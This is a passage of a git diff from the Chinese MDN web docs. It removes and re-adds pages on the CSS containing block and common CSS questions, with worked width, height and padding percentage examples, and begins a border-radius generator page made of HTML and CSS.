在这个示例中,P 标签的包含块为 <body> 元素,因为 <section> 不再是一个块容器,所以并没有形成一个格式上下文。

- - - -
body {
-  background: beige;
-}
-
-section {
-  display: inline;
-  background: lightgray;
-}
-
-p {
-  width: 50%;     /* == half the body's width */
-  height: 200px;  /* Note: a percentage would be 0 */
-  background: cyan;
-}
-
- -

{{EmbedLiveSample('Example_2','100%','300')}}

- -

Example 3

- -

这个示例中,P 元素的包含块是 <section>,因为 <section> 的 position 为 absolute 。P 元素的百分值会受其包含块的 padding 所影响。不过,如果包含块的 {{cssxref("box-sizing")}} 值设置为 border-box ,就没有这个问题。

- - - -
body {
-  background: beige;
-}
-
-section {
-  position: absolute;
-  left: 30px;
-  top: 30px;
-  width: 400px;
-  height: 160px;
-  padding: 30px 20px;
-  background: lightgray;
-}
-
-p {
-  position: absolute;
-  width: 50%;   /* == (400px + 20px + 20px) * .5 = 220px */
-  height: 25%;  /* == (160px + 30px + 30px) * .25 = 55px */
-  margin: 5%;   /* == (400px + 20px + 20px) * .05 = 22px */
-  padding: 5%;  /* == (400px + 20px + 20px) * .05 = 22px */
-  background: cyan;
-}
-
- -

{{EmbedLiveSample('Example_3','100%','300')}}

- -

Example 4

- -

这个示例中,P 元素的 position 为 fixed,所以它的包含块就是初始包含块(在屏幕上,也就是 viewport)。这样的话,P 元素的尺寸大小,将会随着浏览器窗框大小的变化,而变化。

- - - -
body {
-  background: beige;
-}
-
-section {
-  width: 400px;
-  height: 480px;
-  margin: 30px;
-  padding: 15px;
-  background: lightgray;
-}
-
-p {
-  position: fixed;
-  width: 50%;   /* == (50vw - (width of vertical scrollbar)) */
-  height: 50%;  /* == (50vh - (height of horizontal scrollbar)) */
-  margin: 5%;   /* == (5vw - (width of vertical scrollbar)) */
-  padding: 5%;  /* == (5vw - (width of vertical scrollbar)) */
-  background: cyan;
-}
-
- -

{{EmbedLiveSample('Example_4','100%','300')}}

- -

Example 5

- -

这个示例中,P 元素的 position 为 absolute,所以它的包含块是 <section>,也就是距离它最近的一个 transform 值不为 none 的父元素。

- - - -
body {
-  background: beige;
-}
-
-section {
-  transform: rotate(0deg);
-  width: 400px;
-  height: 160px;
-  background: lightgray;
-}
-
-p {
-  position: absolute;
-  left: 80px;
-  top: 30px;
-  width: 50%;   /* == 200px */
-  height: 25%;  /* == 40px */
-  margin: 5%;   /* == 20px */
-  padding: 5%;  /* == 20px */
-  background: cyan;
-}
-
- -

{{EmbedLiveSample('Example_5','100%','300')}}

- -

另见

- - diff --git a/files/zh-cn/web/css/common_css_questions/index.html b/files/zh-cn/web/css/common_css_questions/index.html deleted file mode 100644 index 0e0593054b..0000000000 --- a/files/zh-cn/web/css/common_css_questions/index.html +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: CSS 常见问题 -slug: Web/CSS/Common_CSS_Questions -translation_of: Learn/CSS/Howto/CSS_FAQ ---- -

为什么我有效的CSS没有正确的渲染?

- -

浏览器使用DOCTYPE声明来选择是否使用更符合Web标准或兼容旧浏览器的bug的模式。在你的HTML的开始使用一个正确的和现代的DOCTYPE声明将改善浏览器标准执行。

- -

现代浏览器主要有两种渲染模式:

- - - -

基于Gecko的浏览器, 有三分之一 Almost Standards Mode, 只有一些小怪癖。

- -

这是最常用的触发标准模式或准标准模式的DOCTYPE声明列表:

- -
<!DOCTYPE html> /* 这一行是 HTML5 的 doctype 声明。,使用该声明会使现代浏览器使用
-                   HTML5 解析器处理页面,这是推荐的 doctype 声明。*/
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
-"http://www.w3.org/TR/html4/loose.dtd">
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
-"http://www.w3.org/TR/html4/strict.dtd">
-
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
- -

为什么我有效的css完全没有被渲染? 

- -

为了使浏览器渲染样式文件,CSS样式表必须用text/css的MIME。如果Web服务器不服务于这种类型,则CSS也不会被应用。

- -

id和class有什么不同?

- -

HTML元素可以拥有一个id/或class属性。 id属性为元素指定应用一个有效名称,只能有一个具有该名称的元素。class属性指定一个类名的元素,而这个名称可以被页面内的许多元素被使用。 CSS允许你可以对特定的id和/或类名的元素应用样式。
-
- 当你想给一个特定元素或块应用样式规则时就使用ID选择符。此样式将只用于与该特定id匹配的元素。

- -


- 当你想要将样式规则应用于多个块和元素时,你应该使用class选择符。

- -

较少样式的样式表通常性能更高。因此建议尽可能多地使用类, 保留id作为特定用途 (比如链接label标签和form元素或者为语义上唯一的元素应用样式)。

- -

查看 CSS selectors

- -

我如何还原属性的默认值?

- -

最初CSS没有提供“defaule”关键字和还原默认属性的值,唯一途径是显式地重新声明该属性。

- -

与CSS2相比,已经发生了改变。 关键字 initial 现在是一个有效的CSS属性。它将给定的CSS属性值重置为默认值。

- -

我如何才可以从一个样式中衍生出另一种样式?

- -

CSS 不允许这样做。(See Eric Meyer's note about the Working Group's stance). 但是,将多个类分配给单个元素,可以提供相同的效果。

- -

我该如何给一个元素分配多个类?

- -

HTML元素可以通过列出的类属性,用空格分开它们。

- -
<style type="text/css">
-.news { background: black; color: white; }
-.today { font-weight: bold; }
-</style>
-
-<div class="news today">
-... content of today's news ...
-</div>
-
- -

如果相同的属性中声明的规则,解决冲突首先通过特异性,然后根据CSS声明的顺序。在class属性类的顺序是不相关的。

- -

为什么我的样式规则不能正确地工作?

- -

在语法上正确的样式规则可能在某些情况下不适用。你可以使用 DOM Inspector's CSS Style Rules 调试这类问题。 下面列出了最常见的忽略样式规则的实例:

- -

HTML元素层次结构

- -

The way CSS styles are applied to HTML elements depends also on the elements hierarchy. It is important to remember that a rule applied to a descendent overrides the style of the parent, in spite of any specificity or priority of CSS rules.

- -
.news { color: black; }
-.corpName { font-weight: bold; color: red; }
-
-<!-- news item text is black, but corporate name is red and in bold -->
-<div class="news">
-   (Reuters) <span class="corpName">General Electric</span> (GE.NYS) announced on Thursday...
-</div>
-
- -

In case of complex HTML hierarchies, if a rule seems to be ignored, check if the element is inside another element with a different style.

- -

显式重定义样式规则

- -

In CSS stylesheets, order is important. If you define a rule and then you re-define the same rule, the last definition is used.

- -
#stockTicker { font-weight: bold; }
-.stockSymbol { color: red; }
-/*  other rules             */
-/*  other rules             */
-/*  other rules             */
-.stockSymbol { font-weight: normal; }
-
-<!-- most text is in bold, except "GE", which is red and not bold -->
-<div id="stockTicker">
-   NYS: <span class="stockSymbol">GE</span> +1.0 ...
-</div>
-
- -

To avoid this kind of error, try to define rules only once for a certain selector, and group all rules belonging to that selector.

- -

使用便捷属性

- -

Using shorthand properties for defining style rules is good because it uses a very compact syntax. Using shorthand with only some attributes is possible and correct, but it must be remembered that undeclared attributes are automatically reset to default. This means that a previous rule for a single attribute could be implicitly overridden.

- -
#stockTicker { font-size: 12px; font-family: Verdana; font-weight: bold; }
-.stockSymbol { font: 14px Arial; color: red; }
-
-<div id="stockTicker">
-   NYS: <span class="stockSymbol">GE</span> +1.0 ...
-</div>
-
- -

In the previous example the problem occurred on rules belonging to different elements, but it could happen also for the same element, because rule order is important.

- -
#stockTicker {
-   font-weight: bold;
-   font: 12px Verdana;  /* font-weight is now normal */
-}
-
- -

使用 * 选择器

- -

The * wildcard selector refers to any element, and it has to be used with particular care.

- -
body * { font-weight: normal; }
-#stockTicker { font: 12px Verdana; }
-.corpName { font-weight: bold; }
-.stockUp { color: red; }
-
-<div id="section">
-   NYS: <span class="corpName"><span class="stockUp">GE</span></span> +1.0 ...
-</div>
-
- -

In this example the body * selector applies the rule to all elements inside body, at any hierarchy level, including the .stockUp class. So font-weight: bold; applied to the .corpName class is overridden by font-weight: normal; applied to all elements in the body.

- -

The use of the * selector should be minimized as it is a slow selector, especially when not used as the first element of a selector. Its use should be avoided as much as possible.

- -

CSS 中的优先级

- -

When multiples rules apply to a certain element, the rule chosen depends on its style specificity. Inline style (in HTML style attributes) comes first, followed by ID selectors, then class selectors and eventually element-name selectors.

- -
div { color: black; }
-#orange { color: orange; }
-.green { color: green; }
-
-<div id="orange" class="green" style="color: red;">This is red</div>
-
- -

The rules are more complicated when the selector has multiple parts. More detailed information about how selector specificity is calculated can be found in the CSS 2.1 Specification chapter 6.4.3

- -

 -moz-*, -ms-*, -webkit-*, -o-* 以及 -khtml-* 属性有什么用?

- -

These  properties, called prefixed properties, are extension to the CSS standard. They are used to use experimental and non-standard features without polluting the regular namespace, preventing future incompatibilities to arise when the standard is extended.

- -

The use of such properties on production websites is not recommended. If nevertheless needed, you are hinted to make a plan for the website evolution: these prefixed properties can be modified or even suppressed when the standard evolve.

- -

Please see the Mozilla CSS Extensions page for more information on the Mozilla-prefixed CSS properties.

- -

z-index 属性与定位有什么关系?

- -

z-index属性指定了元素的栈序。

- -

有较高z-index/栈序的元素总是在有着较低z-index/栈序的元素之前。

- -

z-index只会在有着指定position (position:absolute, position:relative, or position:fixed)的元素上工作。

diff --git a/files/zh-cn/web/css/containing_block/index.html b/files/zh-cn/web/css/containing_block/index.html new file mode 100644 index 0000000000..bf35aa8c04 --- /dev/null +++ b/files/zh-cn/web/css/containing_block/index.html @@ -0,0 +1,268 @@ +--- +title: 布局和包含块 +slug: Web/CSS/All_About_The_Containing_Block +tags: + - CSS + - CSS Position + - Containers + - Guide + - Layout + - Position + - Style + - blocks + - containing block + - size +translation_of: Web/CSS/Containing_block +--- +

{{cssref}}

+ +

一个元素的尺寸和位置经常受其包含块(containing block)的影响。大多数情况下,包含块就是这个元素最近的祖先块元素内容区,但也不是总是这样。在本文中,我们来过一遍确定包含块的所有因素。

+ +

当一个客户端代理(比如说浏览器)展示一个文档的时候,对于每一个元素,它都产生了一个盒子。每一个盒子都被划分为四个区域:

+ +
    +
  1. 内容区
  2. +
  3. 内边距区
  4. +
  5. 边框区
  6. +
  7. 外边距区
  8. +
+ +

Diagram of the box model

+ +

许多开发者认为一个元素的包含块就是他的父元素的内容区。但事实并非如此。接下来让我们来看看,确定元素包含块的因素都有哪些。

+ +

包含块的影响

+ +

在学习如何确定元素包含块之前,先了解一下它的重要性。

+ +

元素的尺寸及位置,常常会受它的包含块所影响。对于一些属性,例如 {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}},绝对定位元素的偏移值 (比如 {{cssxref("position")}} 被设置为 absolute 或 fixed),当我们对其赋予百分比值时,这些值的计算值,就是通过元素的包含块计算得来。

+ +

确定包含块

+ +

确定一个元素的包含块的过程完全依赖于这个元素的 {{cssxref("position")}} 属性:

+ +
    +
  1. 如果 position 属性为 static 、 relative 或 sticky,包含块可能由它的最近的祖先块元素(比如说inline-block, block 或 list-item元素)的内容区的边缘组成,也可能会建立格式化上下文(比如说 a table container, flex container, grid container, 或者是 the block container 自身)。
  2. +
  3. 如果 position 属性为 absolute ,包含块就是由它的最近的 position 的值不是 static (也就是值为fixed, absolute, relative 或 sticky)的祖先元素的内边距区的边缘组成。
  4. +
  5. 如果 position 属性是 fixed,在连续媒体的情况下(continuous media)包含块是 {{glossary("viewport")}} ,在分页媒体(paged media)下的情况下包含块是分页区域(page area)。
  6. +
  7. 如果 position 属性是 absolutefixed,包含块也可能是由满足以下条件的最近父级元素的内边距区的边缘组成的: +
      +
    1.  {{cssxref("transform")}} 或 {{cssxref("perspective")}} 的值不是 none
    2. +
    3.  {{cssxref("will-change")}} 的值是 transform 或 perspective
    4. +
    5.  {{cssxref("filter")}} 的值不是 none 或 will-change 的值是 filter(只在 Firefox 下生效).
    6. +
    7.  {{cssxref("contain")}} 的值是 paint (例如: contain: paint;)
    8. +
    +
  8. +
+ +
+

注意: 根元素(<html>)所在的包含块是一个被称为初始包含块的矩形。他的尺寸是视口 viewport (for continuous media) 或分页媒体 page media (for paged media).

+
+ +

根据包含块计算百分值

+ +

如上所述,如果某些属性被赋予一个百分值的话,它的计算值是由这个元素的包含块计算而来的。这些属性包括盒模型属性和偏移属性:

+ +
    +
  1. 要计算 {{cssxref("height")}} {{cssxref("top")}} 及 {{cssxref("bottom")}} 中的百分值,是通过包含块的 height 的值。如果包含块的 height 值会根据它的内容变化,而且包含块的 position 属性的值被赋予 relativestatic ,那么,这些值的计算值为 auto
  2. +
  3. 要计算 {{cssxref("width")}}, {{cssxref("left")}}, {{cssxref("right")}}, {{cssxref("padding")}}, {{cssxref("margin")}} 这些属性由包含块的 width 属性的值来计算它的百分值。
  4. +
+ +

示例

+ +

接下来的示例,都使用如下 HTML 代码:

+ +
<body>
+  <section>
+    <p>This is a paragraph!</p>
+  </section>
+</body>
+ +

下面的示例,只有 CSS 不同。

+ +

Example 1

+ +

这个示例中,P 标签设置为静态定位,所以它的包含块为 <section> ,因为距离最近的父节点即是她的包含块。

+ + + +
body {
+  background: beige;
+}
+
+section {
+  display: block;
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  width: 50%;   /* == 400px * .5 = 200px */
+  height: 25%;  /* == 160px * .25 = 40px */
+  margin: 5%;   /* == 400px * .05 = 20px */
+  padding: 5%;  /* == 400px * .05 = 20px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Example_1','100%','300')}}

+ +

Example 2

+ +

在这个示例中,P 标签的包含块为 <body> 元素,因为 <section> 不再是一个块容器,所以并没有形成一个格式上下文。

+ + + +
body {
+  background: beige;
+}
+
+section {
+  display: inline;
+  background: lightgray;
+}
+
+p {
+  width: 50%;     /* == half the body's width */
+  height: 200px;  /* Note: a percentage would be 0 */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Example_2','100%','300')}}

+ +

Example 3

+ +

这个示例中,P 元素的包含块是 <section>,因为 <section> 的 position 为 absolute 。P 元素的百分值会受其包含块的 padding 所影响。不过,如果包含块的 {{cssxref("box-sizing")}} 值设置为 border-box ,就没有这个问题。

+ + + +
body {
+  background: beige;
+}
+
+section {
+  position: absolute;
+  left: 30px;
+  top: 30px;
+  width: 400px;
+  height: 160px;
+  padding: 30px 20px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  width: 50%;   /* == (400px + 20px + 20px) * .5 = 220px */
+  height: 25%;  /* == (160px + 30px + 30px) * .25 = 55px */
+  margin: 5%;   /* == (400px + 20px + 20px) * .05 = 22px */
+  padding: 5%;  /* == (400px + 20px + 20px) * .05 = 22px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Example_3','100%','300')}}

+ +

Example 4

+ +

这个示例中,P 元素的 position 为 fixed,所以它的包含块就是初始包含块(在屏幕上,也就是 viewport)。这样的话,P 元素的尺寸大小,将会随着浏览器窗框大小的变化,而变化。

+ + + +
body {
+  background: beige;
+}
+
+section {
+  width: 400px;
+  height: 480px;
+  margin: 30px;
+  padding: 15px;
+  background: lightgray;
+}
+
+p {
+  position: fixed;
+  width: 50%;   /* == (50vw - (width of vertical scrollbar)) */
+  height: 50%;  /* == (50vh - (height of horizontal scrollbar)) */
+  margin: 5%;   /* == (5vw - (width of vertical scrollbar)) */
+  padding: 5%;  /* == (5vw - (width of vertical scrollbar)) */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Example_4','100%','300')}}

+ +

Example 5

+ +

这个示例中,P 元素的 position 为 absolute,所以它的包含块是 <section>,也就是距离它最近的一个 transform 值不为 none 的父元素。

+ + + +
body {
+  background: beige;
+}
+
+section {
+  transform: rotate(0deg);
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  left: 80px;
+  top: 30px;
+  width: 50%;   /* == 200px */
+  height: 25%;  /* == 40px */
+  margin: 5%;   /* == 20px */
+  padding: 5%;  /* == 20px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('Example_5','100%','300')}}

+ +

另见

+ + diff --git a/files/zh-cn/web/css/css_background_and_borders/border-radius_generator/index.html b/files/zh-cn/web/css/css_background_and_borders/border-radius_generator/index.html new file mode 100644 index 0000000000..b9f50d5332 --- /dev/null +++ b/files/zh-cn/web/css/css_background_and_borders/border-radius_generator/index.html @@ -0,0 +1,1599 @@ +--- +title: 圆角边框生成器 +slug: Web/CSS/CSS_Background_and_Borders/圆角边框发生器 +translation_of: Web/CSS/CSS_Background_and_Borders/Border-radius_generator +--- +

使用Border-radius generator生成 CSS3 {{cssxref("border-radius")}} 样式

+ +
+

border-radius

+ +

HTML Content

+ +
<div id="container">
+    <div class="group section">
+        <div id="preview" class="col span_12">
+            <div id="subject">
+                <div id="top-left" class="radius-container"
+                    data-X="left" data-Y="top">
+                </div>
+                <div id="top-right" class="radius-container"
+                    data-X="right" data-Y="top">
+                </div>
+                <div id="bottom-right" class="radius-container"
+                    data-X="right" data-Y="bottom">
+                </div>
+                <div id="bottom-left" class="radius-container"
+                    data-X="left" data-Y="bottom">
+                </div>
+
+                <div id="radius-ui-sliders">
+                    <div id="tlr" class="ui-input-slider" data-topic="top-left"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="tlw" class="ui-input-slider" data-topic="top-left-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="tlh" class="ui-input-slider" data-topic="top-left-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trr" class="ui-input-slider" data-topic="top-right"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trw" class="ui-input-slider" data-topic="top-right-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trh" class="ui-input-slider" data-topic="top-right-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brr" class="ui-input-slider" data-topic="bottom-right"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brw" class="ui-input-slider" data-topic="bottom-right-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brh" class="ui-input-slider" data-topic="bottom-right-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blr" class="ui-input-slider" data-topic="bottom-left"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blw" class="ui-input-slider" data-topic="bottom-left-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blh" class="ui-input-slider" data-topic="bottom-left-h"
+                        data-unit=" px" data-sensivity="2"></div>
+                </div>
+            </div>
+        </div>
+    </div>
+    <div id="controls" class="group section">
+
+        <div class="group section">
+            <div id="dimensions">
+                <div class="ui-input-slider" data-topic="width" data-info="width"
+                     data-unit=" px" data-min="150" data-max="700" data-sensivity="1"></div>
+
+                <div class="ui-input-slider" data-topic="height" data-info="height"
+                    data-unit=" px" data-min="75" data-max="350" data-sensivity="1"></div>
+            </div>
+
+            <div id="output"></div>
+        </div>
+
+        <div class="group section">
+            <div id="radius-lock">
+                <div class="info"> rounded corner </div>
+                <div class="ui-checkbox" data-topic='top-left'></div>
+                <div class="ui-checkbox" data-topic='top-right'></div>
+                <div class="ui-checkbox" data-topic='bottom-right'></div>
+                <div class="ui-checkbox" data-topic='bottom-left'></div>
+            </div>
+
+            <div id="unit-selection">
+                <div class="info"> select border units </div>
+            </div>
+        </div>
+
+    </div>
+</div>
+
+ +

CSS Content

+ +
/*  GRID OF TEN
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider-container {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider-container * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider > input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox > input {
+ 	display: none;
+}
+
+.ui-checkbox > label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox > label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox > input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview {
+	height: 500px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	overflow: hidden;
+	position: relative;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#preview input {
+	color: #333;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+#subject {
+	width: 400px;
+	height: 150px;
+	margin: 0 auto;
+	border: 3px solid #C60;
+	background: #FFF;
+	position: relative;
+}
+
+.radius {
+	width: 50%;
+	height: 50%;
+	border: 1px solid #CCC;
+	display: none;
+	position: absolute;
+	z-index: 1;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.handle {
+	width: 16px;
+	height: 16px;
+	position: absolute;
+	z-index: 2;
+}
+
+.handle-top-left {
+	top: -12px;
+	left: -12px;
+	cursor: se-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top left no-repeat;
+}
+
+.handle-top-right {
+	top: -12px;
+	right: -12px;
+	cursor: sw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top right no-repeat;
+}
+
+.handle-bottom-right {
+	bottom: -12px;
+	right: -12px;
+	cursor: nw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom right no-repeat;
+}
+
+.handle-bottom-left {
+	bottom: -12px;
+	left: -12px;
+	cursor: ne-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom left no-repeat;
+}
+
+
+.radius-container {
+	position: absolute;
+	display : block;
+	z-index: 1;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* TOP LEFT */
+#top-left {
+	top: 0;
+	left: 0;
+}
+
+#top-left .radius {
+	border-top-left-radius: 100%;
+	top: 0;
+	left: 0;
+}
+
+/* TOP RIGHT */
+#top-right {
+	top: 0;
+	right: 0;
+}
+
+#top-right .radius {
+	border-top-right-radius: 100%;
+	top: 0;
+	right: 0;
+}
+
+/* BOTTOM RIGHT */
+#bottom-right {
+	bottom: 0;
+	right: 0;
+}
+
+#bottom-right .radius {
+	border-bottom-right-radius: 100%;
+	bottom: 0;
+	right: 0;
+}
+
+/* BOTTOM lEFT */
+#bottom-left {
+	bottom: 0;
+	left: 0;
+}
+
+#bottom-left .radius {
+	border-bottom-left-radius: 100%;
+	bottom: 0;
+}
+
+/* INPUT SLIDERS */
+
+#preview .ui-input-slider {
+	margin: 10px;
+	position: absolute;
+	z-index: 10;
+}
+
+#radius-ui-sliders {
+	width: 100%;
+	height: 100%;
+	min-height: 75px;
+	min-width: 150px;
+	padding: 20px 50px;
+	top: -20px;
+	left: -50px;
+	position: relative;
+}
+
+#tlr {
+	top: -30px;
+	left: -50px;
+	display: none;
+}
+
+#tlw {
+	top: -30px;
+	left: 30px;
+}
+
+#tlh {
+	top: 20px;
+	left: -50px;
+}
+
+#trr {
+	top: -30px;
+	right: -50px;
+	display: none;
+}
+
+#trw {
+	top: -30px;
+	right: 30px;
+}
+
+#trh {
+	top: 20px;
+	right: -50px;
+}
+
+#brr {
+	bottom: -30px;
+	right: -50px;
+	display: none;
+}
+
+#brw {
+	bottom: -30px;
+	right: 30px;
+}
+
+#brh {
+	bottom: 20px;
+	right: -50px;
+}
+
+#blr {
+	bottom: -30px;
+	left: -50px;
+	display: none;
+}
+
+#blw {
+	bottom: -30px;
+	left: 30px;
+}
+
+#blh {
+	bottom: 20px;
+	left: -50px;
+}
+
+#preview .ui-input-slider-left, #preview .ui-input-slider-right {
+	visibility: hidden;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-left {
+	visibility: visible;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-right {
+	visibility: visible;
+}
+
+/*
+ *
+ */
+
+#unit-selection {
+	width: 200px;
+	height: 75px;
+	margin: 30px 30px 0 0;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: right;
+}
+
+#unit-selection .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#unit-selection .dropdown {
+	width: 50px;
+	height: 20px;
+	margin: 10px;
+	padding: 0;
+	border-radius: 3px;
+	position: absolute;
+	overflow: hidden;
+}
+
+#unit-selection select {
+	width: 50px;
+	height: 20px;
+	marign: 0;
+	padding: 0 0 0 10px;
+	background: #555;
+	border: 1px solid #555;
+	border: none;
+	color: #FFF;
+	float: left;
+}
+
+#unit-selection select option {
+	background: #FFF;
+	color: #333;
+}
+
+#unit-selection select:hover {
+	cursor: pointer;
+}
+
+#unit-selection .dropdown:before {
+	content: "";
+	width: 18px;
+	height: 20px;
+	display: block;
+	background-color: #555;
+	background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	top: 0px;
+	right: 0px;
+	position: absolute;
+	z-index: 1;
+	pointer-events: none;
+}
+
+#unit-selection .unit-top-left {
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-left-w {
+	top: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-top-left-h {
+	top: 20px;
+	left: -37px;
+}
+
+#unit-selection .unit-top-right {
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-right-w {
+	top: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-top-right-h {
+	top: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-right {
+	bottom: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-right-w {
+	bottom: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-bottom-right-h {
+	bottom: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-left {
+	bottom: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-left-w {
+	bottom: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-bottom-left-h {
+	bottom: 20px;
+	left: -37px;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+
+
